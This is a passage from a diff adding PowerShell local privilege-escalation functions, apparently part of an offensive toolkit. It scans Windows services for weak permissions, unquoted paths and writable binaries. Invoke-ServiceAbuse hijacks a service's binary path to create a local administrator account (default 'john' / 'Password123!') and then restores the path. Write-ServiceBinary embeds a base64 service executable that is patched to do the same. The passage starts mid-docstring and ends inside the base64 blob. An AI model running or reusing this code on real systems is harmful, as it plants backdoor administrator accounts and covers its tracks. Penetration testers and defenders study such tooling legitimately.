'sc.exe sdshow'. + + .PARAMETER ServiceName + + The service name to verify the permissions against. Required. + + .PARAMETER Dacl + + The DACL permissions. Required. + + .EXAMPLE + + PS C:\> Test-ServiceDaclPermission -ServiceName VulnSVC -Dacl WPRPDC + + Return $True if the current user has Stop (WP), Start (RP), + and ChangeConf (DC) service permissions for 'VulnSVC' otherwise return $False. + + .LINK + + https://support.microsoft.com/en-us/kb/914392 + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +#> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [string] + $ServiceName, + + [Parameter(Mandatory = $True)] + [string] + $Dacl + ) + + # check if sc.exe exists + if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ + Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe" + return $False + } + + $ServiceAccessFlags = @{ + CC = 1 + DC = 2 + LC = 4 + SW = 8 + RP = 16 + WP = 32 + DT = 64 + LO = 128 + CR = 256 + SD = 65536 + RC = 131072 + WD = 262144 + WO = 524288 + GA = 268435456 + GX = 536870912 + GW = 1073741824 + GR = 2147483648 + } + + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # retrieve DACL from sc.exe + $Result = sc.exe sdshow $TargetService.Name | where {$_} + + if ($Result -like "*OpenService FAILED*"){ + Write-Warning "[!] Access to service $($TargetService.Name) denied" + return $False + } + + $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + + # populate a list of group SIDs that the current user is a member of + $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + + # add to the list the SID of the current user + $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + ForEach ($Sid in $Sids){ + ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ + + # check if the group/user SID is included in the ACE + if ($Sid -eq $Ace.SecurityIdentifier){ + + # convert the AccessMask to a service DACL string + $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { + if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { + $_ + } + }) -join "" + + # convert the input DACL to an array + $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) + + # counter to check how many DACL permissions were found + $MatchedPermissions = 0 + + # check if each of the permissions exists + ForEach ($DaclPermission in $DaclArray){ + if ($DaclString.Contains($DaclPermission.ToUpper())){ + $MatchedPermissions += 1 + } + else{ + break + } + } + # found all permissions - success + if ($MatchedPermissions -eq $DaclArray.Count){ + return $True + } + } + } + } + return $False + } + catch{ + Write-Warning "Error: $_" + return $False + } +} + +function Invoke-ServiceStart { +<# + .SYNOPSIS + + Starts a specified service, first enabling the service if it was marked as disabled. + + .PARAMETER ServiceName + + The service name to start. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceStart -ServiceName VulnSVC + + Start the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # enable the service if it was marked as disabled + if ($TargetService.StartMode -eq "Disabled"){ + $r = Invoke-ServiceEnable -ServiceName "$($TargetService.Name)" + if (-not $r){ + return $False + } + } + + # start the service + Write-Verbose "Starting service '$($TargetService.Name)'" + $Null = sc.exe start "$($TargetService.Name)" + + Start-Sleep -s .5 + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +function Invoke-ServiceStop { +<# + .SYNOPSIS + + Stops a specified service. + + .PARAMETER ServiceName + + The service name to stop. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceStop -ServiceName VulnSVC + + Stop the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # stop the service + Write-Verbose "Stopping service '$($TargetService.Name)'" + $Result = sc.exe stop "$($TargetService.Name)" + + if ($Result -like "*Access is denied*"){ + Write-Warning "[!] Access to service $($TargetService.Name) denied" + return $False + } + elseif ($Result -like "*1051*") { + # if we can't stop the service because other things depend on it + Write-Warning "[!] Stopping service $($TargetService.Name) failed: $Result" + return $False + } + + Start-Sleep 1 + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +function Invoke-ServiceEnable { +<# + .SYNOPSIS + + Enables a specified service. + + .PARAMETER ServiceName + + The service name to enable. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceEnable -ServiceName VulnSVC + + Enables the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # enable the service + Write-Verbose "Enabling service '$TargetService.Name'" + $Null = sc.exe config "$($TargetService.Name)" start= demand + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +function Invoke-ServiceDisable { +<# + .SYNOPSIS + + Disables a specified service. + + .PARAMETER ServiceName + + The service name to disable. Required. + + .EXAMPLE + + PS C:\> Invoke-ServiceDisable -ServiceName VulnSVC + + Disables the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + + # make sure we got a result back + if (-not ($TargetService)){ + Write-Warning "[!] Target service '$ServiceName' not found on the machine" + return $False + } + + try { + # disable the service + Write-Verbose "Disabling service '$TargetService.Name'" + $Null = sc.exe config "$($TargetService.Name)" start= disabled + return $True + } + catch{ + Write-Warning "Error: $_" + return $False + } + } +} + + +######################################################## +# +# Service enumeration +# +######################################################## + +function Get-ServiceUnquoted { +<# + .SYNOPSIS + + Returns the name and binary path for services with unquoted paths + that also have a space in the name. + + .EXAMPLE + + PS C:\> $services = Get-ServiceUnquoted + + Get a set of potentially exploitable services. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb +#> + + # find all paths to service .exe's that have a space in the path and aren't quoted + $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | Where-Object {-not $_.pathname.StartsWith("`"")} | Where-Object {-not $_.pathname.StartsWith("'")} | Where-Object {($_.pathname.Substring(0, $_.pathname.IndexOf(".exe") + 4)) -match ".* .*"} + + if ($VulnServices) { + ForEach ($Service in $VulnServices){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path " + $Out + } + } +} + + +function Get-ServiceFilePermission { +<# + .SYNOPSIS + + This function finds all services where the current user can + write to the associated binary or its arguments. + If the associated binary (or config file) is overwritten, + privileges may be able to be escalated. + + .EXAMPLE + + PS C:\> Get-ServiceFilePermission + + Get a set of potentially exploitable service binares/config files. +#> + + Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { + + $ServiceName = $_.name + $ServicePath = $_.pathname + $ServiceStartName = $_.startname + + $ServicePath | Get-ModifiableFile | ForEach-Object { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'Path' $ServicePath + $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out | Add-Member Noteproperty 'StartName' $ServiceStartName + $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out + } + } +} + + +function Get-ServicePermission { +<# + .SYNOPSIS + + This function enumerates all available services and tries to + open the service for modification, returning the service object + if the process doesn't failed. + + .EXAMPLE + + PS C:\> Get-ServicePermission + + Get a set of potentially exploitable services. +#> + + # check if sc.exe exists + if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))) { + Write-Warning "[!] Could not find $Env:SystemRoot\System32\sc.exe" + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' 'Not Found' + $Out | Add-Member Noteproperty 'Path' "$Env:SystemRoot\System32\sc.exe" + $Out | Add-Member Noteproperty 'StartName' $Null + $Out | Add-Member Noteproperty 'AbuseFunction' $Null + $Out + } + + $Services = Get-WmiObject -Class win32_service | Where-Object {$_} + + if ($Services) { + ForEach ($Service in $Services){ + + # try to change error control of a service to its existing value + $Result = sc.exe config $($Service.Name) error= $($Service.ErrorControl) + + # means the change was successful + if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $Service.name + $Out | Add-Member Noteproperty 'Path' $Service.pathname + $Out | Add-Member Noteproperty 'StartName' $Service.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" + $Out + } + } + } +} + + +function Get-ServiceDetail { +<# + .SYNOPSIS + + Returns detailed information about a specified service. + + .PARAMETER ServiceName + + The service name to query for. Required. + + .EXAMPLE + + PS C:\> Get-ServiceDetail -ServiceName VulnSVC + + Gets detailed information about the 'VulnSVC' service. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName + ) + + process { + Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} | ForEach-Object { + try { + $_ | Format-List * + } + catch{ + Write-Warning "Error: $_" + $null + } + } + } +} + + +######################################################## +# +# Service abuse +# +######################################################## + +function Invoke-ServiceAbuse { +<# + .SYNOPSIS + + This function stops a service, modifies it to create a user, starts + the service, stops it, modifies it to add the user to the specified group, + stops it, and then restores the original EXE path. It can also take a + custom -CMD argument to trigger a custom command instead of adding a user. + + .PARAMETER ServiceName + + The service name to manipulate. Required. + + .PARAMETER UserName + + The [domain\]username to add. If not given, it defaults to "john". + Domain users are not created, only added to the specified localgroup. + + .PARAMETER Password + + The password to set for the added user. If not given, it defaults to "Password123!" + + .PARAMETER LocalGroup + + Local group name to add the user to (default of Administrators). + + .PARAMETER Command + + Custom local command to execute. + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC + + Abuses service 'VulnSVC' to add a localuser "john" with password + "Password123! to the machine and local administrator group + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" + + Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the + local adminisrtators group. + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Power Users" + + Abuses service 'VulnSVC' to add a localuser "backdoor" with password + "password" to the machine and local "Power Users" group + + .EXAMPLE + + PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." + + Abuses service 'VulnSVC' to execute a custom command. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $UserName = "john", + + [String] + $Password = "Password123!", + + [String] + $LocalGroup = "Administrators", + + [String] + $Command + ) + + process { + + # query WMI for the service + $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + $ServiceAbused = $Null + + # make sure we got a result back + if ($TargetService) { + + $ServiceAbused = $TargetService.Name + $UserAdded = $Null + $PasswordAdded = $Null + $GroupnameAdded = $Null + + try { + # check if sc.exe exists + if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))){ + throw "Could not find $Env:SystemRoot\System32\sc.exe" + } + + # try to enable the service it was disabled + $RestoreDisabled = $False + if ($TargetService.StartMode -eq "Disabled") { + Write-Verbose "Service '$ServiceName' disabled, enabling..." + if(-not $(Invoke-ServiceEnable -ServiceName $ServiceName)) { + throw "Error in enabling disabled service." + } + $RestoreDisabled = $True + } + + # extract the original path and state so we can restore it later + $OriginalPath = $TargetService.PathName + $OriginalState = $TargetService.State + Write-Verbose "Service '$ServiceName' original path: '$OriginalPath'" + Write-Verbose "Service '$ServiceName' original state: '$OriginalState'" + + $Commands = @() + + if($Command) { + # only executing a custom command + $Commands += $Command + } + elseif($UserName.Contains("\")) { + # adding a domain user to the local group, no creation + $Commands += "net localgroup $LocalGroup $UserName /add" + } + else { + # creating a local user and adding to the local group + $Commands += "net user $UserName $Password /add" + $Commands += "net localgroup $LocalGroup $UserName /add" + } + + foreach($Cmd in $Commands) { + if(-not $(Invoke-ServiceStop -ServiceName $TargetService.Name)) { + throw "Error in stopping service." + } + + Write-Verbose "Executing command '$Cmd'" + + $Result = sc.exe config $($TargetService.Name) binPath= $Cmd + if ($Result -contains "Access is denied."){ + throw "Access to service $($TargetService.Name) denied" + } + + $Null = Invoke-ServiceStart -ServiceName $TargetService.Name + } + + # cleanup and restore the original binary path + Write-Verbose "Restoring original path to service '$ServiceName'" + $Null = sc.exe config $($TargetService.Name) binPath= $OriginalPath + + # try to restore the service to whatever state it was + if($RestoreDisabled) { + Write-Verbose "Re-disabling service '$ServiceName'" + $Result = sc.exe config $($TargetService.Name) start= disabled + } + elseif($OriginalState -eq "Paused") { + Write-Verbose "Starting and then pausing service '$ServiceName'" + $Null = Invoke-ServiceStart -ServiceName $TargetService.Name + $Null = sc.exe pause $($TargetService.Name) + } + elseif($OriginalState -eq "Stopped") { + Write-Verbose "Leaving service '$ServiceName' in stopped state" + } + else { + $Null = Invoke-ServiceStart -ServiceName $TargetService.Name + } + } + catch { + Write-Warning "Error while modifying service '$ServiceName': $_" + $Commands = @("Error while modifying service '$ServiceName': $_") + } + } + + else { + Write-Warning "Target service '$ServiceName' not found on the machine" + $Commands = "Not found" + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceAbused' $ServiceAbused + $Out | Add-Member Noteproperty 'Command' $($Commands -join " && ") + $Out + } +} + + +function Write-ServiceBinary { +<# + .SYNOPSIS + + Takes a precompiled C# service executable and binary patches in a + custom shell command or commands to add a local administrator. + It then writes the binary out to the specified location. + Domain users are only added to the specified LocalGroup. + + .PARAMETER ServiceName + + The service name the EXE will be running under. Required. + + .PARAMETER Path + + Path to write the binary out to, defaults to the local directory. + + .PARAMETER UserName + + The [DOMAIN\username] to add, defaults to 'john'. + + .PARAMETER Password + + The password to set for the added user, default to 'Password123!'. + + .PARAMETER LocalGroup + + Local group to add the user to, defaults to 'Administrators'. + + .PARAMETER Command + + A custom command to execute. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC + + Writes the service binary for VulnSVC that adds a local administrator + to the local directory. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" + + Writes the service binary for VulnSVC that adds TESTLAB\john to the local + administrators to the local directory. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! + + Writes the service binary for VulnSVC that adds a local administrator of + name 'backdoor' with password 'Password123!' to the local directory. + + .EXAMPLE + + PS C:\> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." + + Writes the service binary for VulnSVC that executes a local command + to the local directory. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $ServiceName, + + [String] + $ServicePath = "service.exe", + + [String] + $UserName = "john", + + [String] + $Password = "Password123!", + + [String] + $LocalGroup = "Administrators", + + [String] + $Command + ) + + begin { + # the raw unpatched service binary + $B64Binary = "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UmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAElEaXNwb3NhYmxlAENvbnRhaW5lcgBTdHJpbmcAVHJpbQBzZXRfU2VydmljZU5hbWUAUHJvY2VzcwBTdGFydABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFbnZpcm9ubWVudABFeGl0AFJ1bgAARUEAQQBBACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAL/3LwBDACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAI